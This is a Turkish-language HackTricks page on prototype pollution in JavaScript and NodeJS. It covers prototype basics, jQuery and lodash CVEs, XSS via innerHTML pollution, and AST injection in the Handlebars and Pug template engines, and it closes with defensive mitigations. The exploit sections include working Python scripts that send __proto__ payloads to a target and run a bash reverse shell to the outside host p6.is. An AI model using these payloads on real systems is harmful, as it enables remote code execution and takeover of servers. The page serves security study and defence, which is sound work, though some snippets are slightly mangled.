NodeJS - __proto__ & prototype Pollution

Reading time: 11 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

JavaScript'teki Nesneler

JavaScript'teki nesneler esasen anahtar-değer çiftlerinin, yani özelliklerin, koleksiyonlarıdır. Bir nesne, null argümanı ile Object.create kullanılarak boş bir nesne oluşturmak için yaratılabilir. Bu yöntem, miras alınan özellik olmadan bir nesne oluşturulmasına olanak tanır.

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

Boş bir nesne, {} olarak temsil edilen boş bir sözlüğe benzer.

JavaScript'te Fonksiyonlar ve Sınıflar

JavaScript'te, sınıflar ve fonksiyonlar yakından bağlantılıdır; fonksiyonlar genellikle sınıflar için yapıcılar olarak hizmet eder. JavaScript'in yerel sınıf desteğinin olmamasına rağmen, yapıcılar sınıf davranışını taklit edebilir.

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Prototipler JavaScript'te

JavaScript, prototip özelliklerinin çalışma zamanında değiştirilmesine, eklenmesine veya silinmesine izin verir. Bu esneklik, sınıf işlevselliklerinin dinamik olarak genişletilmesini sağlar.

toString ve valueOf gibi fonksiyonlar, davranışlarını değiştirmek için değiştirilebilir ve bu, JavaScript'in prototip sisteminin uyumlu doğasını gösterir.

Miras

Prototip tabanlı programlamada, özellikler/yöntemler nesneler tarafından sınıflardan miras alınır. Bu sınıflar, başka bir sınıfın bir örneğine veya boş bir nesneye özellikler/yöntemler eklenerek oluşturulur.

Bir nesneye (örneğin myPersonObj) diğer nesneler için prototip olarak hizmet eden bir özellik eklendiğinde, miras alan nesneler bu yeni özelliğe erişim kazanır. Ancak, bu özellik açıkça çağrılmadıkça otomatik olarak görüntülenmez.

__proto__ kirliliği

JavaScript'te Prototip Kirliliğini Keşfetmek

JavaScript nesneleri, anahtar-değer çiftleri ile tanımlanır ve JavaScript Object prototipinden miras alır. Bu, Object prototipinin değiştirilmesinin ortamda tüm nesneleri etkileyebileceği anlamına gelir.

Açıklamak için farklı bir örnek kullanalım:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Object prototipine erişim mümkündür:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Object prototipine özellikler ekleyerek, her JavaScript nesnesi bu yeni özellikleri miras alacaktır:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

prototype pollution

__proto__ kullanımının kısıtlandığı bir senaryo için, bir fonksiyonun prototipini değiştirmek bir alternatiftir:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

Bu, yalnızca Vehicle yapıcısından oluşturulan nesneleri etkiler ve onlara beep, hasWheels, honk ve isElectric özelliklerini verir.

Prototip kirliliği yoluyla JavaScript nesnelerini küresel olarak etkilemenin iki yöntemi şunlardır:

  1. Object.prototype'ı doğrudan kirletmek:
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. Yaygın olarak kullanılan bir yapının bir yapıcı prototipini kirletmek:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

Bu işlemlerden sonra, her JavaScript nesnesi goodbye ve greet yöntemlerini çalıştırabilir.

Diğer nesneleri kirletme

Bir sınıftan Object.prototype'a

Belirli bir nesneyi kirletebileceğiniz ve Object.prototype'a ulaşmanız gerektiği bir senaryoda, aşağıdaki gibi bir kod ile arama yapabilirsiniz:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Dizi elemanları kirliliği

JS'de nesnelerin niteliklerini kirletebildiğiniz gibi, bir diziye kirletme erişiminiz varsa, dizinin indeksler aracılığıyla erişilebilir değerlerini de kirletebilirsiniz (değerleri üzerine yazamayacağınızı unutmayın, bu nedenle bir şekilde kullanılan ancak yazılmayan indeksleri kirletmeniz gerekir).

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elemanları kirliliği

JS aracılığıyla bir HTML elemanı oluştururken, keyfi HTML kodu yazmak için innerHTML özniteliğini üstüne yazmak mümkündür. Bu yazıdan fikir ve örnek.

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Örnekler

Temel Örnek

Bir prototip kirlenmesi, Object.prototype üzerindeki özelliklerin üzerine yazılmasına izin veren bir uygulama hatasından kaynaklanır. Bu, çoğu nesnenin özelliklerini Object.prototype'dan türettiği anlamına gelir.

En basit örnek, kontrol edilecek bir nesnenin tanımsız bir niteliğine bir değer eklemektir, şöyle:

javascript
if (user.admin) {

Eğer admin niteliği tanımsızsa, bir PP'yi kötüye kullanmak ve onu True olarak ayarlamak mümkündür, şöyle bir şeyle:

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Bu mekanizma, bir saldırgan belirli girdiler üzerinde kontrol sahibi olduğunda, uygulamadaki tüm nesnelerin prototipini değiştirebilecek şekilde özellikleri manipüle etmeyi içerir. Bu manipülasyon genellikle __proto__ özelliğini ayarlamayı içerir; bu, JavaScript'te bir nesnenin prototipini doğrudan değiştirmekle eşanlamlıdır.

Bu saldırının başarılı bir şekilde gerçekleştirilebileceği koşullar, belirli bir çalışmada belirtildiği gibi şunlardır:

  • Rekürsif bir birleştirme gerçekleştirmek.
  • Bir yola dayalı olarak özellikler tanımlamak.
  • Nesneleri klonlamak.

Override function

python
customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

Diğer yükler:

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: jQuery $ .extend aracılığıyla prototip kirlenmesi saldırısı

Detaylar için bu makaleye bakın jQuery'de, $ .extend fonksiyonu derin kopyalama özelliği yanlış kullanıldığında prototip kirlenmesine yol açabilir. Bu fonksiyon genellikle nesneleri klonlamak veya varsayılan bir nesneden özellikleri birleştirmek için kullanılır. Ancak, yanlış yapılandırıldığında, yeni bir nesne için tasarlanan özellikler yerine prototipe atanabilir. Örneğin:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

Bu zafiyet, CVE-2019–11358 olarak tanımlanmıştır ve derin bir kopyanın prototipi istemeden nasıl değiştirebileceğini, isAdmin gibi özelliklerin uygun varlık doğrulaması olmadan kontrol edilmesi durumunda yetkisiz yönetici erişimi gibi potansiyel güvenlik risklerine yol açabileceğini göstermektedir.

CVE-2018–3721, CVE-2019–10744: lodash üzerinden prototip kirlenmesi saldırısı

Daha fazla detay için bu makaleye bakın

Lodash, benzer prototip kirlenmesi zafiyetleri (CVE-2018–3721, CVE-2019–10744) ile karşılaşmıştır. Bu sorunlar 4.17.11 sürümünde ele alınmıştır.

CVE'ler ile başka bir eğitim

https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2

Prototip Kirlenmesini Tespit Etmek için Araçlar

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Web uygulamalarında sunucu tarafı prototip kirlenmesi zafiyetlerini tespit etmek ve analiz etmek için tasarlanmış Burp Suite eklentisi. Bu araç, potansiyel prototip kirlenmesi sorunlarını tanımlamak için istekleri tarama sürecini otomatikleştirir. Bilinen gadget'ları - prototip kirlenmesini kullanarak zararlı eylemleri gerçekleştirme yöntemleri - özellikle Node.js kütüphanelerine odaklanarak kullanır.
  • server-side-prototype-pollution: Bu eklenti, sunucu tarafı prototip kirlenmesi zafiyetlerini tanımlar. sunucu tarafı prototip kirlenmesi konusundaki teknikleri kullanır.

NodeJS'de AST Prototip Kirlenmesi

NodeJS, JavaScript'te şablon motorları ve TypeScript gibi işlevler için Soyut Sözdizim Ağaçları (AST) kullanmaktadır. Bu bölüm, şablon motorlarındaki prototip kirlenmesi ile ilgili zafiyetleri, özellikle Handlebars ve Pug'u incelemektedir.

Handlebars Zafiyet Analizi

Handlebars şablon motoru, bir prototip kirlenmesi saldırısına karşı hassastır. Bu zafiyet, javascript-compiler.js dosyasındaki belirli işlevlerden kaynaklanmaktadır. Örneğin, appendContent işlevi, pendingContent mevcutsa bunu birleştirirken, pushSource işlevi kaynağı ekledikten sonra pendingContent'i undefined olarak sıfırlar.

Sömürü Süreci

Sömürü, Handlebars tarafından üretilen AST'yi (Soyut Sözdizim Ağacı) kullanarak şu adımları izler:

  1. Parser'ın Manipülasyonu: İlk olarak, NumberLiteral düğümü aracılığıyla parser, değerlerin sayısal olmasını zorunlu kılar. Prototip kirlenmesi bunu aşabilir ve sayısal olmayan dizelerin eklenmesine olanak tanır.
  2. Derleyici Tarafından İşlenmesi: Derleyici, bir AST Objesini veya bir dize şablonunu işleyebilir. Eğer input.type Program'a eşitse, girdi önceden işlenmiş olarak kabul edilir ve bu durum sömürülebilir.
  3. Kod Enjeksiyonu: Object.prototype'ın manipülasyonu yoluyla, şablon işlevine rastgele kod enjekte edilebilir, bu da uzaktan kod yürütmeye yol açabilir.

Handlebars zafiyetinin sömürüsünü gösteren bir örnek:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

Bu kod, bir saldırganın Handlebars şablonuna keyfi kod enjekte edebileceğini göstermektedir.

Dış Referans: 'flat' kütüphanesinde prototip kirlenmesi ile ilgili bir sorun bulundu, burada detaylandırılmıştır: GitHub'daki Sorun.

Dış Referans: ‘flat’ kütüphanesindeki prototip kirlenmesi ile ilgili sorun

Python'da prototip kirlenmesi istismarına örnek:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Açığı

Pug, başka bir şablon motoru, prototip kirlenmesi riskiyle karşı karşıyadır. Ayrıntılı bilgi Pug'da AST Enjeksiyonu tartışmasında mevcuttur.

Pug'da prototip kirlenmesi örneği:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Önleyici Tedbirler

Prototip kirlenmesi riskini azaltmak için aşağıdaki stratejiler uygulanabilir:

  1. Nesne Değişmezliği: Object.prototypeObject.freeze uygulayarak değişmez hale getirebilirsiniz.
  2. Girdi Doğrulama: JSON girdileri, uygulamanın şemasına karşı titizlikle doğrulanmalıdır.
  3. Güvenli Birleştirme Fonksiyonları: Güvensiz birleştirme fonksiyonlarının özyinelemeli kullanımı kaçınılmalıdır.
  4. Prototipsiz Nesneler: Prototip özellikleri olmayan nesneler Object.create(null) kullanılarak oluşturulabilir.
  5. Map Kullanımı: Anahtar-değer çiftlerini depolamak için Object yerine Map kullanılmalıdır.
  6. Kütüphane Güncellemeleri: Güvenlik yamaları, kütüphaneleri düzenli olarak güncelleyerek entegre edilebilir.
  7. Linter ve Statik Analiz Araçları: Prototip kirlenmesi zafiyetlerini tespit ve önlemek için uygun eklentilere sahip ESLint gibi araçlar kullanılmalıdır.
  8. Kod İncelemeleri: Prototip kirlenmesi ile ilgili potansiyel riskleri belirlemek ve düzeltmek için kapsamlı kod incelemeleri uygulanmalıdır.
  9. Güvenlik Eğitimi: Geliştiricileri prototip kirlenmesi riskleri ve güvenli kod yazma en iyi uygulamaları hakkında eğitmek.
  10. Kütüphaneleri Dikkatle Kullanma: Üçüncü taraf kütüphaneleri kullanırken dikkatli olun. Güvenlik duruşlarını değerlendirin ve özellikle nesneleri manipüle edenlerin kodunu gözden geçirin.
  11. Çalışma Zamanı Koruması: Prototip kirlenmesi saldırılarını tespit ve önlemek için güvenlik odaklı npm paketleri gibi çalışma zamanı koruma mekanizmaları kullanın.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin